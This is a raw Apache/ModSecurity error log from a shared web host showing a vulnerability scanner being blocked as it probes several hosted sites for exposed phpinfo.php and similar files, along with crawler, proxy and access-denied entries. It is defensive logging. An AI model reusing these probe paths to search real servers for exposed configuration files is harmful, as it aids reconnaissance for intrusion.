https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2U= [Sat Jun 13 18:13:24.253125 2026] [security2:error] [pid 531155:tid 531234] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/_backup/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPGwABKk4"] [Sat Jun 13 18:13:24.384950 2026] [security2:error] [pid 531155:tid 531268] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/beta/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPIQABYXA"] [Sat Jun 13 18:13:24.464777 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.14:51140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:24.465082 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.14:51140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:24.516888 2026] [security2:error] [pid 531155:tid 531278] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/old/info.php"] [unique_id "ai3yJCmiP80klyS0NnoPKQABYHo"] [Sat Jun 13 18:13:24.549356 2026] [core:error] [pid 531155:tid 531325] [client 47.79.201.10:33868] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:24.549380 2026] [core:error] [pid 531155:tid 531325] [client 47.79.201.10:33868] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:24.648882 2026] [security2:error] [pid 531155:tid 531169] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/2020/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPMwABVg0"] [Sat Jun 13 18:13:24.680267 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:13:24.680552 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:13:24.689139 2026] [security2:error] [pid 531155:tid 531219] [remote 17.22.237.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJCmiP80klyS0NnoPNgABRj8"] [Sat Jun 13 18:13:24.780694 2026] [security2:error] [pid 531155:tid 531187] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/2021/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPOQABfh8"] [Sat Jun 13 18:13:24.912690 2026] [security2:error] [pid 531155:tid 531242] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/2022/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPRgABRVY"] [Sat Jun 13 18:13:24.912749 2026] [security2:error] [pid 531155:tid 531157] [remote 17.246.15.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJCmiP80klyS0NnoPRwABXAE"] [Sat Jun 13 18:13:24.995632 2026] [security2:error] [pid 531155:tid 531170] [remote 17.241.219.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJCmiP80klyS0NnoPSAABZg4"] [Sat Jun 13 18:13:25.044454 2026] [security2:error] [pid 531155:tid 531166] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/2023/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPTQABVQo"] [Sat Jun 13 18:13:25.120423 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.89:56142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.120706 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.89:56142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.176428 2026] [security2:error] [pid 531155:tid 531204] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/2024/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPVQABODA"] [Sat Jun 13 18:13:25.183582 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.26:34570] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.183863 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.26:34570] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.254166 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:13:25.254647 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:13:25.267784 2026] [security2:error] [pid 531155:tid 531246] [remote 17.241.75.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJSmiP80klyS0NnoPXAABF1o"] [Sat Jun 13 18:13:25.308316 2026] [security2:error] [pid 531155:tid 531269] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/v1/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPZgABXnE"] [Sat Jun 13 18:13:25.346292 2026] [proxy:error] [pid 531155:tid 531306] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:25.346392 2026] [proxy_http:error] [pid 531155:tid 531306] [client 159.89.122.135:34834] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcontacts.sureseal.com.au/ [Sat Jun 13 18:13:25.347695 2026] [proxy:error] [pid 531155:tid 531306] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:25.347768 2026] [proxy_http:error] [pid 531155:tid 531306] [client 159.89.122.135:34834] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcontacts.sureseal.com.au/ [Sat Jun 13 18:13:25.350851 2026] [security2:error] [pid 531155:tid 531330] [client 186.154.19.53:48994] ModSecurity: Access denied with code 406 (phase 2). Match of "rx ://%{SERVER_NAME}/" against "MATCHED_VAR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "73"] [id "340012"] [rev "3"] [msg "Atomicorp.com WAF Rules: Unauthorized Proxy access attempt"] [data "http:/"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/show/profile/id/4912/hakim-kakar"] [unique_id "ai3yJSmiP80klyS0NnoPaQAAATc"] [Sat Jun 13 18:13:25.440202 2026] [security2:error] [pid 531155:tid 531195] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/v2/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPbAABMSc"] [Sat Jun 13 18:13:25.489732 2026] [security2:error] [pid 531155:tid 531281] [remote 17.246.15.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJSmiP80klyS0NnoPcwABPH0"] [Sat Jun 13 18:13:25.502355 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.32:45127] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.502865 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.32:45127] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.572118 2026] [security2:error] [pid 531155:tid 531175] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/v3/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPfgABgRM"] [Sat Jun 13 18:13:25.704494 2026] [security2:error] [pid 531155:tid 531248] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/api/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPjQABR1w"] [Sat Jun 13 18:13:25.727894 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.6:39710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.728385 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.6:39710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.784109 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:25.784362 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:25.836352 2026] [security2:error] [pid 531155:tid 531186] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/api/info.php"] [unique_id "ai3yJSmiP80klyS0NnoPlgABGx4"] [Sat Jun 13 18:13:25.868065 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.96:40217] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.868501 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.96:40217] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.906778 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.22:56022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:25.907053 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.22:56022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:25.968043 2026] [security2:error] [pid 531155:tid 531265] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/api/v1/phpinfo.php"] [unique_id "ai3yJSmiP80klyS0NnoPnwABam0"] [Sat Jun 13 18:13:26.099911 2026] [security2:error] [pid 531155:tid 531171] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/api/v2/phpinfo.php"] [unique_id "ai3yJimiP80klyS0NnoPpwABLQ8"] [Sat Jun 13 18:13:26.232001 2026] [security2:error] [pid 531155:tid 531179] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/apis/phpinfo.php"] [unique_id "ai3yJimiP80klyS0NnoPrQABNBc"] [Sat Jun 13 18:13:26.308463 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:13:26.308769 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:13:26.364020 2026] [security2:error] [pid 531155:tid 531214] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/site-info.php"] [unique_id "ai3yJimiP80klyS0NnoPswABPDo"] [Sat Jun 13 18:13:26.496000 2026] [security2:error] [pid 531155:tid 531168] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/server.php"] [unique_id "ai3yJimiP80klyS0NnoPvQABJww"] [Sat Jun 13 18:13:26.560984 2026] [security2:error] [pid 531155:tid 531225] [remote 109.105.194.6:56215] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "agribiolink.com"] [uri "/wp-json/wp/v2/themes"] [unique_id "ai3yJimiP80klyS0NnoPvwABg0U"] [Sat Jun 13 18:13:26.592273 2026] [security2:error] [pid 531155:tid 531223] [remote 17.22.253.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJimiP80klyS0NnoPwQABSEM"] [Sat Jun 13 18:13:26.627716 2026] [security2:error] [pid 531155:tid 531224] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/host.php"] [unique_id "ai3yJimiP80klyS0NnoPxQABEUQ"] [Sat Jun 13 18:13:26.659548 2026] [security2:error] [pid 531155:tid 531264] [remote 17.246.19.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yJimiP80klyS0NnoPxwABhGw"] [Sat Jun 13 18:13:26.759608 2026] [security2:error] [pid 531155:tid 531257] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup 